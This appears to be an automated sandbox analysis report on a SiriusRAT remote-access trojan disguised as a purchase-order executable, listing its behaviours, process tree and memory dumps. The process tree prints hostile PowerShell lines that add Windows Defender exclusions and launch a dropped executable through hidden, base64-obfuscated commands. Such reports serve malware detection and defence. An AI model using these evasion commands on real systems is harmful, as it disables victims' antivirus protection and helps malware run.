Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
04/08/2026, 03:42
General
- Target NEW PO & SAMPLE DETAILS.exe
- Size 2.7MB
- Sample260804-d9ln5scd97
- SHA256 13367ed6c45119783c7eccc3db9b7a9095a4d662d9f5e7bc1ae1d195958ab1e2
Malware Config
Signatures
- Family: SiriusRAT
SiriusRAT is a Windows RAT written in C++ with HVNC, offline keylogging, and remote desktop capabilities.
- Detects SiriusRAT 17 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 2 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- SmartAssembly .NET packer 2 IoCs
Detects SmartAssembly .NET packer.
- Suspicious use of SetThreadContext 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 21 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\NEW PO & SAMPLE DETAILS.exe"C:\Users\Admin\AppData\Local\Temp\NEW PO & SAMPLE DETAILS.exe"1⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\NEW PO & SAMPLE DETAILS.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\NEW PO & SAMPLE DETAILS.exe"C:\Users\Admin\AppData\Local\Temp\NEW PO & SAMPLE DETAILS.exe"2⤵
- Checks processor information in registry
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C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$hqfwqm=[System.Environment]::TickCount;$aa4m5z=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$hqfwqm=[System.Environment]::TickCount;$wt0owo=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXFF5dlJxek9jTlYuZXhl')));$5pbpfp=Get-Date;& $aa4m5z -FilePath $wt0owo"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\QyvRqzOcNV.exe"C:\Users\Admin\AppData\Roaming\QyvRqzOcNV.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\QyvRqzOcNV.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\QyvRqzOcNV.exeC:\Users\Admin\AppData\Roaming\QyvRqzOcNV.exe3⤵
- Executes dropped EXE
- Checks processor information in registry
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_f4nj5ioi.dkl.ps1
QyvRqzOcNV.exe
memory/796-1-0x000002B89F3E0000-0x000002B89F3F0000-memory.dmp
memory/796-2-0x000002B89DB80000-0x000002B89DB94000-memory.dmp
memory/796-3-0x000002B89F3E0000-0x000002B89F3F0000-memory.dmp
memory/796-4-0x000002B8B93F0000-0x000002B8B968A000-memory.dmp
memory/796-5-0x000002B89F3E0000-0x000002B89F3F0000-memory.dmp
memory/796-9-0x000002B89F3E0000-0x000002B89F3F0000-memory.dmp
memory/796-0-0x000002B89D480000-0x000002B89D742000-memory.dmp
memory/2036-43-0x000001891D130000-0x000001891D144000-memory.dmp
memory/3608-26-0x00000229E5EC0000-0x00000229E5EE2000-memory.dmp
memory/3696-15-0x0000000140000000-0x0000000140558000-memory.dmp
memory/3696-44-0x0000000140000000-0x0000000140558000-memory.dmp
memory/3696-11-0x0000000140000000-0x0000000140558000-memory.dmp
memory/3696-14-0x0000000140000000-0x0000000140558000-memory.dmp
memory/3696-16-0x0000000140000000-0x0000000140558000-memory.dmp
memory/3696-18-0x0000000140000000-0x0000000140558000-memory.dmp
memory/3696-42-0x0000000140000000-0x0000000140558000-memory.dmp
memory/3696-12-0x0000000140000000-0x0000000140558000-memory.dmp
memory/3696-13-0x0000000140000000-0x0000000140558000-memory.dmp
memory/3696-10-0x0000000140000000-0x0000000140558000-memory.dmp
memory/4224-49-0x0000000140000000-0x0000000140558000-memory.dmp
memory/4224-50-0x0000000140000000-0x0000000140558000-memory.dmp
memory/4224-47-0x0000000140000000-0x0000000140558000-memory.dmp
memory/4224-48-0x0000000140000000-0x0000000140558000-memory.dmp
memory/4224-51-0x0000000140000000-0x0000000140558000-memory.dmp
memory/4224-62-0x0000000140000000-0x0000000140558000-memory.dmp
memory/4224-63-0x0000000140000000-0x0000000140558000-memory.dmp